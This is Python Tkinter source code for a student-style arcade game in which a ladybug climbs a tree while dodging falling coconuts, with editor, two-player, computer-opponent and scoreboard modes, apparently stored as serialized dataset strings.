coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n canvas.create_text(50, 40, text='Player 1', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 2', font='Arial 15 bold', fill\n ='yellow')\n winner(canvas, data)\n drawHome(canvas, data)\n\n\ndef winner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 1', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 2', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef editorKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef editorMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.yourSpeed = 'slow'\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.yourSpeed = 'medium'\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.yourSpeed = 'fast'\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n checkMiddle(event, data)\n checkLast(event, data)\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\ndef drawButtons(canvas, data):\n data.font, data.fill = 'Helvetica 13 bold', 'yellow'\n canvas.create_text(data.medX, data.YST, text='Your Speed:', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Slow', font=data.font)\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium', font=data.font)\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Fast', font=data.font)\n canvas.create_image(data.easyX, data.medX, image=data.drizzle)\n canvas.create_text(data.medX, data.RST, text='Rain Speed:', font=data.\n font, fill=data.fill)\n canvas.create_text(data.easyX, data.medX, text='Drizzle', font=data.font)\n canvas.create_image(data.medX, data.medX, image=data.rain)\n canvas.create_text(data.medX, data.medX, text='Rain', font=data.font)\n canvas.create_image(data.hardX, data.medX, image=data.thunderstorm)\n canvas.create_text(data.hardX, data.medX, text='Heavy', font=data.font)\n canvas.create_text(data.medX, data.PUT, text='PowerUps?', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyY, data.last, image=data.yes)\n canvas.create_text(data.easyY, data.last, text='Yes', font=data.font)\n canvas.create_image(data.last, data.last, image=data.no)\n canvas.create_text(data.last, data.last, text='No', font=data.font)\n changeEnter(canvas, data)\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\ndef editorTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\ndef levelCreatedKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.levelEditorLives > 0:\n if event.keysym == 'Left' and data.cx >= 317:\n data.cx -= data.lane / 2\n elif event.keysym == 'Right' and data.cx <= 740:\n data.cx += data.lane / 2\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef levelCreatedRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n if data.powerUpsEditor == True:\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 100, text='Total Lives: %d' % data.\n levelEditorLives, font='Arial 20 bold', fill='yellow')\n canvas.create_text(data.width / 2, 660, text=\n \"\"\"You lose a life for hitting a drop\n & don't get eaten!\"\"\",\n font='Arial 15 bold', fill='yellow')\n if data.levelEditorLives <= 0:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n if data.level > 1:\n winEditor(canvas, data)\n drawHome(canvas, data)\n\n\ndef winEditor(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n\n\ndef difficultyKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\ndef difficultyTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\ndef difficultyRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawDifficulties(canvas, data)\n drawHome(canvas, data)\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\ndef hitAI2(data, distance):\n for coconut in data.coconutsAI2:\n if (coconut.y >= data.player2Y - data.r and coconut.y <= data.\n player2Y + data.r):\n if (coconut.x >= data.player2X - data.r and coconut.x <= data.\n player2X + data.r):\n data.player2Y += 50\n data.coconutsAI2.remove(coconut)\n\n\ndef coconutShotAI(data):\n if data.winner == None:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 40 and abs(xPosition1 - 360) > 40:\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 8 == 0:\n xPosition2 = random.randint(0, 80)\n xPosition3 = random.randint(364, 385)\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(xPosition2, 0))\n data.coconutsAI1.append(Coconuts(xPosition3, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(xPosition2 + 410, 0))\n data.coconutsAI2.append(Coconuts(xPosition3 + 410, 0))\n addExtraCoconut(data)\n addPowerUpsAI(data)\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\ndef addPowerUpsAI(data):\n if data.time % 33 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 66 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(550, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(750, 750))\n\n\ndef AIKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'Left' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player2X = 550\n elif event.keysym == 'Right' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player2X = 750\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\ndef helpKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef helpMousePressed(event, data):\n checkHome(event, data)\n\n\ndef helpTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\ndef run(width=15000, height=25000):\n\n def redrawAllWrapper(canvas, data):\n canvas.delete(ALL)\n redrawAll(canvas, data)\n canvas.update()\n\n def mousePressedWrapper(event, canvas, data):\n mousePressed(event, data)\n redrawAllWrapper(canvas, data)\n\n def keyPressedWrapper(event, canvas, data):\n keyPressed(event, data)\n redrawAllWrapper(canvas, data)\n\n def timerFiredWrapper(canvas, data):\n timerFired(data)\n redrawAllWrapper(canvas, data)\n canvas.after(data.timerDelay, timerFiredWrapper, canvas, data)\n\n\n class Struct(object):\n pass\n data = Struct()\n data.width = width\n data.height = height\n data.timerDelay = 100\n root = Tk()\n init(data)\n canvas = Canvas(root, width=data.width, height=data.height)\n canvas.pack()\n root.bind('<Button-1>', lambda event: mousePressedWrapper(event, canvas,\n data))\n root.bind('<Key>', lambda event: keyPressedWrapper(event, canvas, data))\n timerFiredWrapper(canvas, data)\n root.mainloop()\n print('bye!')\n\n\nrun(1000, 1000)\n", "<import token>\n\n\ndef init(data):\n data.score = 0\n data.mode = 'splashScreen'\n data.timerDelay = 100\n data.height = 800\n data.width = 800\n data.speed = 10\n data.speedAI = 12\n data.speedAI2 = 12\n data.switchOnProgress = False\n data.r = 25\n data.cx = 280\n data.cy = 750\n data.onLeft1, data.onLeft2 = True, True\n data.win = False\n data.coconuts = []\n data.powerUps = []\n data.coconuts1 = []\n data.coconuts2 = []\n data.coconutsAI1 = []\n data.coconutsAI2 = []\n data.invincible = []\n data.pauseDrops = False\n data.pause1Drop = False\n data.pause2Drop = False\n init1(data)\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\ndef init3(data):\n data.yes = data.notClick\n data.no = data.notClick\n data.enter = data.notClick\n data.levelEditorLives = 2\n data.rSpeed = None\n data.start = None\n data.start1 = None\n data.start2 = None\n data.difficulty = None\n data.mode1 = data.notClick\n data.mode2 = data.notClick\n data.mode3 = data.notClick\n data.mode4 = data.notClick\n data.mode5 = data.notClick\n data.mode6 = data.notClick\n data.home = PhotoImage(file='home.gif')\n data.helpScreen = PhotoImage(file='help1.gif')\n data.title = PhotoImage(file='title.gif')\n data.scoreList = []\n data.spotList = [270, 364, 458, 552, 646, 740]\n data.savedScores = readFile('score.txt')\n if data.mode == 'levelCreated':\n setEverything(data)\n initsplashScreenNumbers(data)\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\ndef initScoreBoardHelp(data):\n data.tbgY = 5 * data.height / 12\n data.txtTScore = 150\n data.S_P = 220\n data.numScores = 5\n data.scorePos = data.height / 10\n data.scoreShift = 270\n data.helpY = data.height / 2 - 20\n data.name = ''\n data.printName = ''\n data.hit = False\n initAI(data)\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\ndef mousePressed(event, data):\n if data.mode == 'splashScreen':\n splashScreenMousePressed(event, data)\n elif data.mode == '1Player':\n playerMousePressed(event, data)\n elif data.mode == '2Player':\n twoPlayerMousePressed(event, data)\n elif data.mode == 'editor':\n editorMousePressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedMousePressed(event, data)\n elif data.mode == 'AI':\n AIMousePressed(event, data)\n elif data.mode == 'difficulty':\n difficultyMousePressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardMousePressed(event, data)\n elif data.mode == 'help':\n helpMousePressed(event, data)\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\ndef timerFired(data):\n if data.mode == 'splashScreen':\n splashScreenTimerFired(data)\n elif data.mode == '1Player':\n playerTimerFired(data)\n elif data.mode == '2Player':\n twoPlayerTimerFired(data)\n elif data.mode == 'editor':\n editorTimerFired(data)\n elif data.mode == 'levelCreated':\n levelCreatedTimerFired(data)\n elif data.mode == 'AI':\n AITimerFired(data)\n elif data.mode == 'difficulty':\n difficultyTimerFired(data)\n elif data.mode == 'scoreboard':\n scoreboardTimerFired(data)\n elif data.mode == 'help':\n helpTimerFired(data)\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\ndef splashScreenMousePressed(event, data):\n if (data.splashButtonY - 2 * data.r <= event.x <= data.splashButtonY + \n 2 * data.r):\n if data.p1ButtonX - data.r <= event.y <= data.p1ButtonX + data.r:\n data.mode = '1Player'\n if data.p2ButtonX - data.r <= event.y <= data.p2ButtonX + data.r:\n data.mode = '2Player'\n if data.edButton - data.r <= event.y <= data.edButton + data.r:\n data.mode = 'editor'\n if data.diffButton - data.r <= event.y <= data.diffButton + data.r:\n data.mode = 'difficulty'\n if data.helpButton - data.r <= event.y <= data.helpButton + data.r:\n data.mode = 'help'\n if data.sboardButton - data.r <= event.y <= data.sboardButton + data.r:\n data.mode = 'scoreboard'\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\ndef splashScreenRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.splashText - 10, image=data.title)\n for drop in data.splashScreenDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.splashText, text=\n \"\"\"\n 1.) Single Player Level Mode\n\n\n 2.) Two-Player Mode\n\n \n 3.) Level Creator Practice Mode\n\n \n 4.) Play Against the Computer\n\n \n 5.) Help and Instructions\n\n \n 6.) Scoreboard\n\n \n \"\"\"\n , font='Arial 14 bold', fill='yellow')\n 